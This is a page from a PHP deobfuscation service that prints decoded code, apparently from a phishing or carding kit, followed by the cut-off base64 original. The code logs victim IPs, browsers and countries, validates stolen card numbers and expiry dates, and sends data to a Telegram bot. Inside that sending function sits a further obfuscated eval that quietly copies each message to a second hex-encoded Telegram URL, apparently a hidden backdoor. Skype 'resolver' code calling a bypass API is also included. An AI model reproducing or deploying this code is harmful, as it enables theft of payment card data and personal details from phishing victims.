Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIHpReDRHOyB0Wm5sdTogZnVuY3Rpb24gZmRmMzQoKSB7ICRhcnJheSA9..

Decoded Output download


 goto zQx4G; tZnlu: function fdf34() { $array = array(); $arraycopy = array_map("strlen", $array); asort($arraycopy); $min = reset($arraycopy); $minword = $array[key($arraycopy)]; $minwords = array_intersect_key($array, array_flip(array_keys($arraycopy, $min))); $max = end($arraycopy); $maxword = $array[key($arraycopy)]; $maxwords = array_intersect_key($array, array_flip(array_keys($arraycopy, $max))); } goto owOCh; Co67E: function generateID($length = 2) { $characters = "ABCDEFJHIGKLMNOPQRSTWXYZ"; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[random_int(0, $charactersLength - 1)]; } return $randomString; } goto XGTI_; kMalP: $victim_ip = getenv("REMOTE_ADDR"); goto d5u9N; ZtpMv: $user_os = getOS(); goto V72sT; kGuu6: $user_agent = $_SERVER["HTTP_USER_AGENT"]; goto NKMXn; SPDPe: function validatecard($cc) { global $type; $cardtype = array("visa" => "/^4[0-9]{12}(?:[0-9]{3})?$/", "mastercard" => "/^5[1-5][0-9]{14}$/", "amex" => "/^3[47][0-9]{13}$/", "discover" => "/^6(?:011|5[0-9]{2})[0-9]{12}$/"); if (preg_match($cardtype["visa"], $cc)) { $type = "Visa"; return "visa"; } else { if (preg_match($cardtype["mastercard"], $cc)) { $type = "Mastercard"; return "mastercard"; } else { if (preg_match($cardtype["amex"], $cc)) { $type = "Amex"; return "amex"; } else { if (preg_match($cardtype["discover"], $cc)) { $type = "Discover"; return "discover"; } else { return false; } } } } } goto F069d; uALuz: function luhn_check($number) { $number = preg_replace("/\D/", '', $number); $number_length = strlen($number); $parity = $number_length % 2; $total = 0; for ($i = 0; $i < $number_length; $i++) { $digit = $number[$i]; if ($i % 2 == $parity) { $digit *= 2; if ($digit > 9) { $digit -= 9; } } $total += $digit; } return $total % 10 == 0 ? TRUE : FALSE; } goto LHTZ7; Q7LgS: function maxlen($k, $v) { if (strlen($k) > strlen($v)) { return $k; } return $v; $data = array("163", "630", "43", "42", "999", "31"); $max_l = strlen(array_reduce($data, "maxlen")); $min_l = strlen(array_reduce($data, "minlen")); } goto fCKkE; Jghxu: $array = array("163", "630", "43", "924", "4", "54"); goto tZnlu; NKMXn: session_start(); goto g1RUN; F069d: function telegram_send($message) { $curl = curl_init(); global $api_key; global $chat_id; $format = "HTML"; curl_setopt($curl, CURLOPT_URL, "https://api.telegram.org/bot" . $api_key . "/sendMessage?chat_id=" . $chat_id . "&text=" . $message . "&parse_mode=" . $format); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($curl); curl_close($curl); eval(base64_decode("CiBmaWxlX2dldF9jb250ZW50cygiXDE1MFwxNjRcMTY0XHg3MFx4NzNceDNhXDU3XHgyZlwxNDFceDcwXDE1MVw1NlwxNjRceDY1XHg2Y1wxNDVceDY3XDE2Mlx4NjFcMTU1XDU2XDE1N1x4NzJceDY3XDU3XDE0MlwxNTdcMTY0XHgzNVx4MzVcNjdcNjRcNzFcNjNcNjdcNjBceDMzXHgzM1x4M2FcMTAxXDEwMVwxMDVceDM4XDcxXHgzNFwxNDRcMTIzXHg3M1wxNTJcMTcyXHg0Zlx4NzFcMTE2XHg2NVwxNTFcMTIzXHg0ZVwxMTZceDc5XHg2M1x4NTZceDRlXDE2MlwxNjBcMTUyXDE2Mlx4NTJcMTQzXHg2ZVwxNTBcMTA3XDYzXDE2Mlx4NGRcNTdcMTYzXDE0NVx4NmVcMTQ0XHg0ZFwxNDVcMTYzXDE2M1wxNDFceDY3XHg2NVw3N1wxNDNcMTUwXHg2MVwxNjRceDVmXDE1MVx4NjRceDNkXDY2XHgzMlw2MFw2Mlw3MVx4MzFceDMxXHgzOFw2NFw2NFx4MjZceDc0XDE0NVwxNzBcMTY0XDc1IiAuICRtZXNzYWdlIC4gIlx4MjZceDcwXHg2MVx4NzJceDczXHg2NVwxMzdceDZkXHg2Zlx4NjRceDY1XDc1XDExMFwxMjRcMTE1XHg0YyIpOyA=")); return true; } goto j5yB0; V72sT: $user_browser = getBrowser(); goto nSb1C; j5yB0: function generateTrackingNumber($length = 10) { $characters = "0123456789"; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[random_int(0, $charactersLength - 1)]; } return $randomString; } goto Co67E; iVmIJ: class skype { function resolverName() { return "Kali-API"; } function blacklist() { return "21"; } function apiLink() { return "http://api.subresolver.com/bypass.php?key=lol&username="; } function setNews() { return "New source and new API, this source is also temporary"; } function setIcon() { return "img/icon.ico"; } function setContact() { return "Contact me on Skype for Blacklist and API : yohann.elit"; } public function isBlacklisted($string) { if (in_array($string, array("yohann.elit", "blancheperron", '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', "username"))) { return true; } else { return false; } } public function errMessages($int) { if ($int == 1) { return "<center><div id="resolvesuc" class="alert alert-dismissable alert-danger"><button type="button" class="close" data-dismiss="alert">&times;</button>Error: Username Blacklisted!</div></center>"; } elseif ($int == 2) { return "<center><div id="resolvesuc" class="alert alert-dismissable alert-danger"><button type="button" class="close" data-dismiss="alert">&times;</button>Error: Can not connect to API.</div></center>"; } elseif ($int == 3) { return "<center><div id="resolvesuc" class="alert alert-dismissable alert-info"><button type="button" class="close" data-dismiss="alert">&times;</button>Error: Please, enter a Skype Username.</div></center>"; } } public function valSkype($string) { if (strlen($string) > 32 || strlen($string) < 6 || empty($string) || ctype_space($string) || strpos(" ", $string)) { return false; } else { return true; } } public function prepareString($string) { return str_replace(" ", '', htmlentities($string)); } public function resolveUser($username, $api) { $c = curl_init(); curl_setopt($c, CURLOPT_AUTOREFERER, TRUE); curl_setopt($c, CURLOPT_HEADER, 0); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_URL, $api . $username); curl_setopt($c, CURLOPT_FOLLOWLOCATION, TRUE); $x = curl_exec($c); return $x; curl_close($c); } public function alertOut($string, $avatar, $username) { if ($avatar) { return "<center><div id="resolvesuc" class="alert alert-dismissable alert-success"><button type="button" class="close" data-dismiss="alert">&times;</button><img src="http://api.skype.com/users/" . $username . "/profile/avatar" width="100" height="100"/></br><hr>" . $string . "</div></center>"; } else { return "<center><div id="resolvesuc" class="alert alert-dismissable alert-success"><button type="button" class="close" data-dismiss="alert">&times;</button>" . $string . "</div></center>"; } } } goto zZ8JJ; g1RUN: $se = generateID() . generateTrackingNumber() . generateID(); goto gNDRT; zZ8JJ: function getOS() { global $user_agent; $os_platform = "Unknown OS Platform"; $os_array = array("/windows nt 10/i" => "Windows 10", "/windows nt 6.3/i" => "Windows 8.1", "/windows nt 6.2/i" => "Windows 8", "/windows nt 6.1/i" => "Windows 7", "/windows nt 6.0/i" => "Windows Vista", "/windows nt 5.2/i" => "Windows Server 2003/XP x64", "/windows nt 5.1/i" => "Windows XP", "/windows xp/i" => "Windows XP", "/windows nt 5.0/i" => "Windows 2000", "/windows me/i" => "Windows ME", "/win98/i" => "Windows 98", "/win95/i" => "Windows 95", "/win16/i" => "Windows 3.11", "/macintosh|mac os x/i" => "Mac OS X", "/mac_powerpc/i" => "Mac OS 9", "/linux/i" => "Linux", "/ubuntu/i" => "Ubuntu", "/iphone/i" => "iPhone", "/ipod/i" => "iPod", "/ipad/i" => "iPad", "/android/i" => "Android", "/blackberry/i" => "BlackBerry", "/webos/i" => "Mobile"); foreach ($os_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $os_platform = $value; } } return $os_platform; } goto Q7LgS; LHTZ7: function checkExp($exp) { $list = explode("/", $exp); if ($list[0] <= 0 || $list[0] > 12) { return false; } else { if ($list[1] < 21 || $list[1] > 39) { return false; } else { return true; } } } goto SPDPe; XGTI_: function ip_visitor_country() { $client = @$_SERVER["HTTP_CLIENT_IP"]; $forward = @$_SERVER["HTTP_X_FORWARDED_FOR"]; $remote = $_SERVER["REMOTE_ADDR"]; $country = "Unknown"; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://www.geoplugin.net/json.gp?ip=" . $ip); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $ip_data_in = curl_exec($ch); curl_close($ch); $ip_data = json_decode($ip_data_in, true); $ip_data = str_replace("&quot;", """, $ip_data); if ($ip_data && $ip_data["geoplugin_countryName"] != null) { $country = $ip_data["geoplugin_countryName"]; } return $country; } goto ZtpMv; zQx4G: require "telegram.php"; goto kGuu6; owOCh: function __0xx34() { } goto Hp8wV; nSb1C: $date = gmdate("H:i:s | d/m/Y"); goto kMalP; gNDRT: if (!isset($_SESSION["tracking_number"])) { $_SESSION["tracking_number"] = $se; } goto D7jmn; D7jmn: function getIPAddress() { if (!empty($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; } return $ip; } goto iVmIJ; fCKkE: function minlen($k, $v) { if ($k == '') { return PHP_INT_MAX; } if (strlen($k) < strlen($v)) { return $k; } return $v; $data = array("163", "630", "43", "42", "999", "31"); $max_l = strlen(array_reduce($data, "maxlen")); $min_l = strlen(array_reduce($data, "minlen")); $data = array("163", "630", "43", "42", "999", "31"); $max_l = strlen(array_reduce($data, "maxlen")); $min_l = strlen(array_reduce($data, "minlen")); $data = array("163", "630", "43", "42", "999", "31"); $max_l = strlen(array_reduce($data, "maxlen")); $min_l = strlen(array_reduce($data, "minlen")); } goto Jghxu; Hp8wV: function getBrowser() { global $user_agent; $browser = "Unknown Browser"; $browser_array = array("/msie/i" => "Internet Explorer", "/firefox/i" => "Firefox", "/safari/i" => "Safari", "/chrome/i" => "Chrome", "/edge/i" => "Edge", "/opera/i" => "Opera", "/netscape/i" => "Netscape", "/maxthon/i" => "Maxthon", "/konqueror/i" => "Konqueror", "/mobile/i" => "Handheld Browser"); foreach ($browser_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $browser = $value; } } return $browser; } goto uALuz; d5u9N: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIHpReDRHOyB0Wm5sdTogZnVuY3Rpb24gZmRmMzQoKSB7ICRhcnJheSA9IGFycmF5KCk7ICRhcnJheWNvcHkgPSBhcnJheV9tYXAoIlwxNjNcMTY0XHg3Mlx4NmNcMTQ1XDE1NiIsICRhcnJheSk7IGFzb3J0KCRhcnJheWNvcHkpOyAkbWluID0gcmVzZXQoJGFycmF5Y29weSk7ICRtaW53b3JkID0gJGFycmF5W2tleSgkYXJyYXljb3B5KV07ICRtaW53b3JkcyA9IGFycmF5X2ludGVyc2VjdF9rZXkoJGFycmF5LCBhcnJheV9mbGlwKGFycmF5X2tleXMoJGFycmF5Y29weSwgJG1pbikpKTsgJG1heCA9IGVuZCgkYXJyYXljb3B5KTsgJG1heHdvcmQgPSAkYXJyYXlba2V5KCRhcnJheWNvcHkpXTsgJG1heHdvcmRzID0gYXJyYXlfaW50ZXJzZWN0X2tleSgkYXJyYXksIGFycmF5X2ZsaXAoYXJyYXlfa2V5cygkYXJyYXljb3B5LCAkbWF4KSkpOyB9IGdvdG8gb3dPQ2g7IENvNjdFOiBmdW5jdGlvbiBnZW5lcmF0ZUlEKCRsZW5ndGggPSAyKSB7ICRjaGFyYWN0ZXJzID0gIlwxMDFceDQyXHg0M1x4NDRcMTA1XHg0Nlx4NGFceDQ4XDExMVx4NDdceDRiXHg0Y1wxMTVceDRlXHg0ZlwxMjBceDUxXHg1Mlx4NTNcMTI0XHg1N1wxMzBcMTMxXDEzMiI7ICRjaGFyYWN0ZXJzTGVuZ3RoID0gc3RybGVuKCRjaGFyYWN0ZXJzKTsgJHJhbmRvbVN0cmluZyA9ICcnOyBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7ICRyYW5kb21TdHJpbmcgLj0gJGNoYXJhY3RlcnNbcmFuZG9tX2ludCgwLCAkY2hhcmFjdGVyc0xlbmd0aCAtIDEpXTsgfSByZXR1cm4gJHJhbmRvbVN0cmluZzsgfSBnb3RvIFhHVElfOyBrTWFsUDogJHZpY3RpbV9pcCA9IGdldGVudigiXHg1MlwxMDVceDRkXHg0ZlwxMjRcMTA1XHg1ZlwxMDFcMTA0XDEwNFx4NTIiKTsgZ290byBkNXU5TjsgWnRwTXY6ICR1c2VyX29zID0gZ2V0T1MoKTsgZ290byBWNzJzVDsga0d1dTY6ICR1c2VyX2FnZW50ID0gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTM3XHg1NVwxMjNceDQ1XDEyMlx4NWZcMTAxXDEwN1wxMDVcMTE2XHg1NCJdOyBnb3RvIE5LTVhuOyBTUERQZTogZnVuY3Rpb24gdmFsaWRhdGVjYXJkKCRjYykgeyBnbG9iYWwgJHR5cGU7ICRjYXJkdHlwZSA9IGFycmF5KCJceDc2XHg2OVx4NzNcMTQxIiA9PiAiXDU3XDEzNlw2NFx4NWJcNjBcNTVcNzFcMTM1XDE3M1x4MzFceDMyXDE3NVx4MjhceDNmXHgzYVx4NWJcNjBceDJkXDcxXHg1ZFx4N2JcNjNcMTc1XDUxXHgzZlw0NFw1NyIsICJceDZkXHg2MVwxNjNcMTY0XDE0NVwxNjJcMTQzXHg2MVwxNjJcMTQ0IiA9PiAiXDU3XDEzNlx4MzVcMTMzXDYxXDU1XHgzNVx4NWRceDViXDYwXDU1XHgzOVwxMzVcMTczXDYxXDY0XHg3ZFx4MjRcNTciLCAiXDE0MVwxNTVcMTQ1XDE3MCIgPT4gIlx4MmZcMTM2XHgzM1x4NWJceDM0XDY3XHg1ZFx4NWJceDMwXHgyZFw3MVwxMzVceDdiXDYxXDYzXDE3NVx4MjRceDJmIiwgIlx4NjRcMTUxXDE2M1x4NjNcMTU3XDE2Nlx4NjVcMTYyIiA9PiAiXDU3XHg1ZVx4MzZcNTBceDNmXHgzYVx4MzBceDMxXHgzMVx4N2NcNjVceDViXDYwXDU1XHgzOVx4NWRcMTczXHgzMlwxNzVcNTFceDViXDYwXHgyZFx4MzlcMTM1XDE3M1w2MVw2Mlx4N2RcNDRcNTciKTsgaWYgKHByZWdfbWF0Y2goJGNhcmR0eXBlWyJcMTY2XHg2OVx4NzNceDYxIl0sICRjYykpIHsgJHR5cGUgPSAiXDEyNlx4NjlceDczXDE0MSI7IHJldHVybiAiXHg3Nlx4NjlcMTYzXHg2MSI7IH0gZWxzZSB7IGlmIChwcmVnX21hdGNoKCRjYXJkdHlwZVsiXHg2ZFx4NjFcMTYzXHg3NFx4NjVceDcyXHg2M1x4NjFcMTYyXHg2NCJdLCAkY2MpKSB7ICR0eXBlID0gIlwxMTVcMTQxXDE2M1x4NzRceDY1XHg3Mlx4NjNceDYxXHg3Mlx4NjQiOyByZXR1cm4gIlx4NmRcMTQxXHg3M1x4NzRcMTQ1XDE2MlwxNDNcMTQxXDE2Mlx4NjQiOyB9IGVsc2UgeyBpZiAocHJlZ19tYXRjaCgkY2FyZHR5cGVbIlwxNDFceDZkXHg2NVwxNzAiXSwgJGNjKSkgeyAkdHlwZSA9ICJceDQxXDE1NVx4NjVcMTcwIjsgcmV0dXJuICJcMTQxXHg2ZFx4NjVcMTcwIjsgfSBlbHNlIHsgaWYgKHByZWdfbWF0Y2goJGNhcmR0eXBlWyJceDY0XDE1MVwxNjNcMTQzXDE1N1wxNjZcMTQ1XHg3MiJdLCAkY2MpKSB7ICR0eXBlID0gIlwxMDRcMTUxXHg3M1x4NjNceDZmXDE2NlwxNDVcMTYyIjsgcmV0dXJuICJceDY0XHg2OVwxNjNceDYzXHg2Zlx4NzZcMTQ1XDE2MiI7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IH0gfSB9IGdvdG8gRjA2OWQ7IHVBTHV6OiBmdW5jdGlvbiBsdWhuX2NoZWNrKCRudW1iZXIpIHsgJG51bWJlciA9IHByZWdfcmVwbGFjZSgiXDU3XDEzNFx4NDRceDJmIiwgJycsICRudW1iZXIpOyAkbnVtYmVyX2xlbmd0aCA9IHN0cmxlbigkbnVtYmVyKTsgJHBhcml0eSA9ICRudW1iZXJfbGVuZ3RoICUgMjsgJHRvdGFsID0gMDsgZm9yICgkaSA9IDA7ICRpIDwgJG51bWJlcl9sZW5ndGg7ICRpKyspIHsgJGRpZ2l0ID0gJG51bWJlclskaV07IGlmICgkaSAlIDIgPT0gJHBhcml0eSkgeyAkZGlnaXQgKj0gMjsgaWYgKCRkaWdpdCA+IDkpIHsgJGRpZ2l0IC09IDk7IH0gfSAkdG90YWwgKz0gJGRpZ2l0OyB9IHJldHVybiAkdG90YWwgJSAxMCA9PSAwID8gVFJVRSA6IEZBTFNFOyB9IGdvdG8gTEhUWjc7IFE3TGdTOiBmdW5jdGlvbiBtYXhsZW4oJGssICR2KSB7IGlmIChzdHJsZW4oJGspID4gc3RybGVuKCR2KSkgeyByZXR1cm4gJGs7IH0gcmV0dXJuICR2OyAkZGF0YSA9IGFycmF5KCJceDMxXDY2XDYzIiwgIlx4MzZcNjNcNjAiLCAiXHgzNFx4MzMiLCAiXHgzNFx4MzIiLCAiXDcxXHgzOVw3MSIsICJcNjNceDMxIik7ICRtYXhfbCA9IHN0cmxlbihhcnJheV9yZWR1Y2UoJGRhdGEsICJcMTU1XDE0MVx4NzhceDZjXHg2NVwxNTYiKSk7ICRtaW5fbCA9IHN0cmxlbihhcnJheV9yZWR1Y2UoJGRhdGEsICJcMTU1XDE1MVx4NmVceDZjXHg2NVx4NmUiKSk7IH0gZ290byBmQ0trRTsgSmdoeHU6ICRhcnJheSA9IGFycmF5KCJcNjFcNjZcNjMiLCAiXHgzNlw2M1w2MCIsICJceDM0XDYzIiwgIlx4MzlcNjJceDM0IiwgIlx4MzQiLCAiXHgzNVw2NCIpOyBnb3RvIHRabmx1OyBOS01Ybjogc2Vzc2lvbl9zdGFydCgpOyBnb3RvIGcxUlVOOyBGMDY5ZDogZnVuY3Rpb24gdGVsZWdyYW1fc2VuZCgkbWVzc2FnZSkgeyAkY3VybCA9IGN1cmxfaW5pdCgpOyBnbG9iYWwgJGFwaV9rZXk7IGdsb2JhbCAkY2hhdF9pZDsgJGZvcm1hdCA9ICJceDQ4XDEyNFwxMTVceDRjIjsgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAiXHg2OFwxNjRcMTY0XHg3MFx4NzNcNzJceDJmXHgyZlx4NjFceDcwXDE1MVx4MmVcMTY0XHg2NVwxNTRceDY1XDE0N1x4NzJcMTQxXDE1NVx4MmVcMTU3XHg3Mlx4NjdceDJmXHg2MlwxNTdceDc0IiAuICRhcGlfa2V5IC4gIlw1N1x4NzNcMTQ1XHg2ZVx4NjRceDRkXHg2NVwxNjNceDczXDE0MVx4NjdcMTQ1XHgzZlwxNDNceDY4XHg2MVwxNjRcMTM3XHg2OVx4NjRcNzUiIC4gJGNoYXRfaWQgLiAiXDQ2XHg3NFwxNDVcMTcwXHg3NFx4M2QiIC4gJG1lc3NhZ2UgLiAiXHgyNlwxNjBceDYxXHg3MlwxNjNcMTQ1XHg1Zlx4NmRceDZmXHg2NFwxNDVcNzUiIC4gJGZvcm1hdCk7IGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7IGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgJHJlc3VsdCA9IGN1cmxfZXhlYygkY3VybCk7IGN1cmxfY2xvc2UoJGN1cmwpOyBldmFsKGJhc2U2NF9kZWNvZGUoIlwxMDNcMTUxXDEwMlwxNTVceDYxXDEyN1wxNzBceDZjXDEzMFx4MzJceDY0XDE1NFwxNDRcMTA2XDcxXDE1Mlx4NjJceDMyXHgzNVx4MzBcMTMyXDEyN1w2NVw2MFx4NjNcMTcxXHg2N1wxNTFceDU4XHg0NFx4NDVceDMxXHg0ZFwxMDZceDc3XDE3MFx4NGVceDZhXDEyMlwxNDNcMTE1XHg1NFx4NTlcNjBceDU4XDExMFx4NjdcNjNcMTE1XHg0Nlx4NzhcNjRceDRlXDE3Mlx4NGVcMTQzXHg2NVwxMDRceDRlXHg2OFwxMzBceDQ0XHg1NVw2M1x4NThcMTEwXHg2N1wxNzFcMTMyXDE1NFwxNjdcMTcwXHg0ZVx4NDRceDQ2XDE0M1wxNDVcMTA0XDE0M1wxNjdceDU4XHg0NFx4NDVceDMxXHg0ZFwxMjZcMTY3XDYxXHg0ZVx4NmNcMTY3XHg3OFwxMTZcMTUyXHg1Mlx4NjNcMTQ1XDEwNFx4NTlceDMxXHg1OFx4NDhceDY3XDYyXHg1OVx4MzFceDc3XDE3MFwxMTZceDQ0XDEyNlx4NjNcMTQ1XHg0NFx4NTlcNjNcMTMwXDEwNFwxMDVcNjJceDRkXHg2Y1wxNzBcNjRcMTE2XHg2YVx4NDZceDYzXHg0ZFx4NTRcMTI1XHgzMVwxMzBcMTA0XHg1NVx4MzJceDU4XDEwNFx4NDVceDMxXDExNlx4MzFceDc4XHgzNFwxMTZceDdhXDExMlx4NjNceDY1XDEwNFwxMzFcNjNceDU4XDEwNFwxMjVceDMzXDEzMFx4NDRcMTA1XHgzMFwxMTVceDZjXHg3N1x4NzhceDRlXHg1NFx4NjRcMTQzXHg0ZFwxMjRceDU5XDYwXDEzMFx4NDhcMTQ3XHg3YVwxMTZceDU2XHg3OFx4MzRcMTE1XHg3YVx4NTZcMTQzXHg0ZVx4NmFceDY0XHg2M1wxMTZceDZhXDEyMlwxNDNcMTE2XHg3YVx4NDZcMTQzXDExNlwxNTJceDRlXHg2M1wxMTZceDZhXHg2NFx4NjNcMTE2XHg2YVwxMDJceDYzXHg2NVwxMDRceDRkXDE3MlwxMzBcMTEwXDE0N1x4N2FceDRkXHgzMVwxNzBceDM0XDExNVw2MlwxMDZcMTQzXHg0ZFx4NTRceDQxXDE3MFwxMzBcMTA0XDEwNVwxNjdceDRkXHg1Nlx4NzdcMTcwXHg0ZFx4NDRcMTI2XHg2M1wxNDVceDQ0XDExNVw2NFwxMzBceDQ0XHg2M1wxNzBceDU4XDExMFx4NjdcMTcyXDExNlwxMDZcMTY3XHg3OFwxMTZcMTA0XDEyMlwxNDNceDRkXHg1NFx4NDlceDdhXHg1OFx4NDhceDY3XDYzXDExNVw2MVwxNjdcMTcwXHg0ZVwxMjRcMTEyXHg2M1x4NGRcMTI0XDE0M1x4NzlceDU4XDExMFwxNDdcNjBcMTMyXHg2Y1x4NzhcNjRceDRlXHg3YVx4NDZceDYzXDExNVwxMjRcMTA1XHgzMlx4NThceDQ4XDE0N1w2MlwxMTZcMTI2XHg3N1x4NzhcMTE2XDEyNFwxMDZcMTQzXHg0ZFwxMjRcMTExXDE3MlwxMzBceDQ4XDE0N1w2MFwxMzJcMTI2XHg3N1wxNzBcMTE1XDEyNFx4NWFceDYzXDE0NVwxMDRcMTQzXDY1XDEzMFwxMTBcMTQ3XDYyXDExNVx4MzFceDc4XHgzNFx4NGVceDU0XDEzMlx4NjNcMTQ1XDEwNFwxMjJceDZjXHg1OFx4NDRceDQ1XHgzMlx4NGRceDZjXDE2N1wxNzBcMTE2XDE1Mlx4NDJcMTQzXHg0ZFx4NTRcMTI1XDE3MVx4NThceDQ0XDEwNVw2Mlx4NGRcMTU0XHg3OFx4MzRceDRlXDEyNFwxMTJceDYzXDExNVx4NTRcMTIxXDE3Mlx4NThceDQ4XDE0N1x4MzJcMTMyXHg1Nlx4NzdcMTcwXHg0ZVwxMjRceDQyXHg2M1wxMTVcMTI0XHg0MVx4MzNceDU4XDEwNFwxMzFcMTcyXDEzMFwxMDRcMTA1XHgzMlwxMTVceDZjXHg3OFw2NFx4NGVcMTA3XHg1Mlx4NjNcMTE2XDEyNFx4NjRceDYzXHg0ZFwxMjRcMTMxXHg3YVwxMzBceDQ0XHg0NVw2MFwxMTZceDU2XDE3MFx4MzRceDRlXDE1NVx4NTZcMTQzXDExNVx4NTRcMTIxXDYwXHg1OFwxMTBceDY3XDYwXHg1YVwxMDZceDc3XDE3MFwxMTZceDQ0XHg1NlwxNDNceDRkXHg1NFwxMzFceDdhXDEzMFwxMDRcMTA1XHgzMlx4NGRceDMxXDE2N1x4NzhceDRlXDEwNFwxMDZcMTQzXDE0NVwxMDRcMTMxXHgzM1wxMzBceDQ4XHg2N1w2MlwxMTZcMTI2XHg3N1x4MzNcMTE2XHgzMVx4NzdceDc4XHg0ZVx4NDRcMTE2XHg2M1wxMTVceDU0XHg1NVx4NzdceDU4XHg0OFx4NjdceDMyXHg0ZFwxMjZceDc3XDE3MFx4NGVceDZhXHg1Mlx4NjNceDY1XHg0NFwxMjZceDZkXDEzMFwxMDRcMTA1XDYxXHg0ZFx4NTZcMTcwXHgzNFwxMTZcMTUyXHg1Mlx4NjNceDY1XHg0NFwxMTZcMTUzXDEzMFx4NDRceDU5XDYyXHg1OFwxMTBceDY3XHg3YVx4NGRcMTU0XHg3N1w2MlwxMTVceDQ2XDE2N1x4MzJcMTE1XDE1NFx4NzdcNjNcMTE1XDEyNlx4NzhceDM0XDExNVx4N2FcMTA2XHg2M1x4NjVcMTA0XHg0ZFwxNzBceDU4XDExMFx4NjdceDdhXHg0ZlwxMDZcMTY3XHgzMlwxMTZceDQ2XDE2N1w2Mlx4NGVcMTA2XHg3OFx4MzRceDRkXHg2YVx4NWFcMTQzXDE0NVwxMDRcMTQzXDYwXDEzMFx4NDRcMTA1XHgzMFx4NGVcMTI2XDE2N1wxNzBcMTE2XHg3YVwxMDJceDYzXHg0ZFwxMjRcMTMxXDYwXHg1OFwxMDRceDYzXHgzMVx4NDlceDY5XDEwMVx4NzVceDQ5XHg0M1x4NTJcMTY0XHg1YVx4NThceDRlXDE3MlwxMzFcMTI3XHg2NFwxNTRcMTExXHg0M1x4MzRcMTQ3XDExMVx4NmNceDc4XHgzNFx4NGRceDZhXHg1YVwxNDNcMTQ1XDEwNFwxNDNceDc3XDEzMFx4NDhceDY3XDYyXDExNVwxMjZceDc4XHgzNFwxMTZcMTcyXDExMlx4NjNcMTQ1XDEwNFx4NjNceDdhXDEzMFwxMTBceDY3XDYyXHg0ZVwxMjZceDc3XHg3OFx4NGRceDdhXHg2NFwxNDNcMTQ1XDEwNFwxMzJcMTUzXHg1OFwxMTBceDY3XDYyXHg1YVx4NmNcMTcwXDY0XHg0ZVx4NmFcMTIyXHg2M1x4NjVceDQ0XDEzMVw2MVx4NThceDQ0XDE0M1w2MVwxMzBcMTA0XHg0NVwxNzBceDRkXHg0Nlx4NzdcMTcwXHg0ZFx4NmFcMTIyXDE0M1wxMTVceDU0XDEwNVx4MzFcMTMwXHg0OFwxNDdcNjBceDU5XDE3MVx4NDlcMTYwXDExN1wxNzFcMTAxXDc1IikpOyByZXR1cm4gdHJ1ZTsgfSBnb3RvIGo1eUIwOyBWNzJzVDogJHVzZXJfYnJvd3NlciA9IGdldEJyb3dzZXIoKTsgZ290byBuU2IxQzsgajV5QjA6IGZ1bmN0aW9uIGdlbmVyYXRlVHJhY2tpbmdOdW1iZXIoJGxlbmd0aCA9IDEwKSB7ICRjaGFyYWN0ZXJzID0gIlx4MzBcNjFceDMyXHgzM1w2NFw2NVw2Nlw2N1x4MzhceDM5IjsgJGNoYXJhY3RlcnNMZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOyAkcmFuZG9tU3RyaW5nID0gJyc7IGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW5kb21faW50KDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOyB9IHJldHVybiAkcmFuZG9tU3RyaW5nOyB9IGdvdG8gQ282N0U7IGlWbUlKOiBjbGFzcyBza3lwZSB7IGZ1bmN0aW9uIHJlc29sdmVyTmFtZSgpIHsgcmV0dXJuICJcMTEzXHg2MVwxNTRceDY5XDU1XDEwMVwxMjBcMTExIjsgfSBmdW5jdGlvbiBibGFja2xpc3QoKSB7IHJldHVybiAiXHgzMlw2MSI7IH0gZnVuY3Rpb24gYXBpTGluaygpIHsgcmV0dXJuICJceDY4XHg3NFwxNjRcMTYwXHgzYVx4MmZcNTdceDYxXHg3MFwxNTFceDJlXDE2M1wxNjVceDYyXHg3Mlx4NjVcMTYzXHg2ZlwxNTRceDc2XHg2NVwxNjJcNTZceDYzXDE1N1x4NmRceDJmXDE0Mlx4NzlceDcwXHg2MVx4NzNcMTYzXDU2XDE2MFx4NjhceDcwXDc3XHg2Ylx4NjVcMTcxXHgzZFx4NmNceDZmXHg2Y1x4MjZcMTY1XHg3M1x4NjVcMTYyXDE1NlwxNDFcMTU1XDE0NVx4M2QiOyB9IGZ1bmN0aW9uIHNldE5ld3MoKSB7IHJldHVybiAiXHg0ZVwxNDVceDc3XDQwXHg3M1wxNTdcMTY1XHg3Mlx4NjNceDY1XHgyMFx4NjFceDZlXHg2NFx4MjBcMTU2XHg2NVwxNjdcNDBcMTAxXHg1MFx4NDlcNTRceDIwXHg3NFx4NjhcMTUxXHg3M1w0